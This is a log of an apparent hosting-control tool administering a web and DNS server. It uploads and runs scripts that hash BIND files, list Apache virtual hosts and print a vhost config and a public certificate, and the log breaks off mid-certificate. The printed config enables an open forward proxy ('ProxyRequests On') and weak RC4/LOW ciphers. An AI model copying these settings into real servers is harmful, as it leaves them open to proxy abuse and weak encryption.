MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 19:20:26: Establishing a connection
2026-01-03 19:20:41: Establishing a connection
2026-01-03 19:20:42:
PUT: /tmp/pkp460455
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2026-01-03 19:20:42:
runuser -l bind -s /bin/bash -c '/tmp/pkp460455; rm /tmp/pkp460455'
2026-01-03 19:20:42:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2026-01-03 19:20:47: Establishing a connection
2026-01-03 19:20:48:
PUT: /tmp/pkp375904
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2026-01-03 19:20:49:
chmod 755 /tmp/pkp375904; /tmp/pkp375904; rm /tmp/pkp375904
2026-01-03 19:20:49:
[Sat Jan 03 19:20:49.664833 2026] [so:warn] [pid 2457889:tid 139772152539456] AH01574: module status_module is already loaded, skipping
VirtualHost configuration:
*:80 is a NameVirtualHost
default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
port 80 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
port 80 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:2)
port 80 namevhost voip.patientapps.net (/etc/httpd/conf.d/patientapps.conf:1)
port 80 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:2)
port 80 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:2)
alias www.zoomchat.online
*:443 is a NameVirtualHost
default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
port 443 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
port 443 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:29)
port 443 namevhost messier.pjy.us (/etc/httpd/conf.d/ssl.conf:40)
port 443 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:31)
port 443 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:30)
alias www.zoomchat.online
ServerRoot: "/etc/httpd"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/etc/httpd/logs/error_log"
Mutex proxy-balancer-shm: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex authdigest-client: using_defaults
Mutex lua-ivm-shm: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex authn-socache: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/etc/httpd/run/" mechanism=default
Mutex cache-socache: using_defaults
Mutex authdigest-opaque: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/etc/httpd/run/httpd.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="asterisk" id=1000
Group: name="asterisk" id=1000
.
STDERR:
[Sat Jan 03 19:20:49.664833 2026] [so:warn] [pid 2457889:tid 139772152539456] AH01574: module status_module is already loaded, skipping
2026-01-03 19:20:49:
PUT: /tmp/pkp284232
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/httpd/conf.d/zoomchat_www_online.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 19:20:50:
chmod 755 /tmp/pkp284232; /tmp/pkp284232; rm /tmp/pkp284232
2026-01-03 19:20:50:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_online.conf 2243
<VirtualHost *:80>
ServerName zoomchat.online
ServerAdmin do_not_email@example.com
ServerAlias www.zoomchat.online
DocumentRoot /var/www/zoomchat_www/public
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/zoomchat/www_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName zoomchat.online
ServerAdmin do_not_email@example.com
ServerAlias www.zoomchat.online
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt
DocumentRoot /var/www/zoomchat_www/public
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
ProxyRequests On
RewriteEngine On
<Location /ws/>
ProxyPass ws://localhost:9512/
ProxyPassReverse ws://localhost:9512/
</Location>
<Location /wsx/>
ProxyPass http://localhost:9512/
ProxyPassReverse http://localhost:9512/
</Location>
CustomLog /var/log/httpd/zoomchat/www_secure_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2026-01-03 19:20:50:
PUT: /tmp/pkp923862
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2026-01-03 19:20:51:
chmod 755 /tmp/pkp923862; /tmp/pkp923862; rm /tmp/pkp923862
2026-01-03 19:20:51:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt 5374
e6:00:1e:64:48:42:03:24:03:09:b8:81:33:98:64:25
-----BEGIN CERTIFICATE-----
MIIFDTCCA/WgAwIBAgISBiv8qJ1zIejUMZHqU91B/Sg4MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjI3MDUwMTQ4WhcNMjYwMzI3MDUwMTQ3WjAaMRgwFgYDVQQD
Ew96b29tY2hhdC5vbmxpbmUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCmglMA5SSW+f2p0k1SSrwZuMyLhPqOEKrO3WZA3a7QRbMCbQ+XR9EpctwnBaB1
Gj7FrlGh9OfdWOanbj3WwqP82mifDLBuMna5PyqOhop9hv5VZi+pG68a+qToRdd9
7nXeAVXK/n+VwRwJQeFoxauQWtlR+EOgmzUrSaosJQpgTZwXiz2SDFrE32RG76Kg
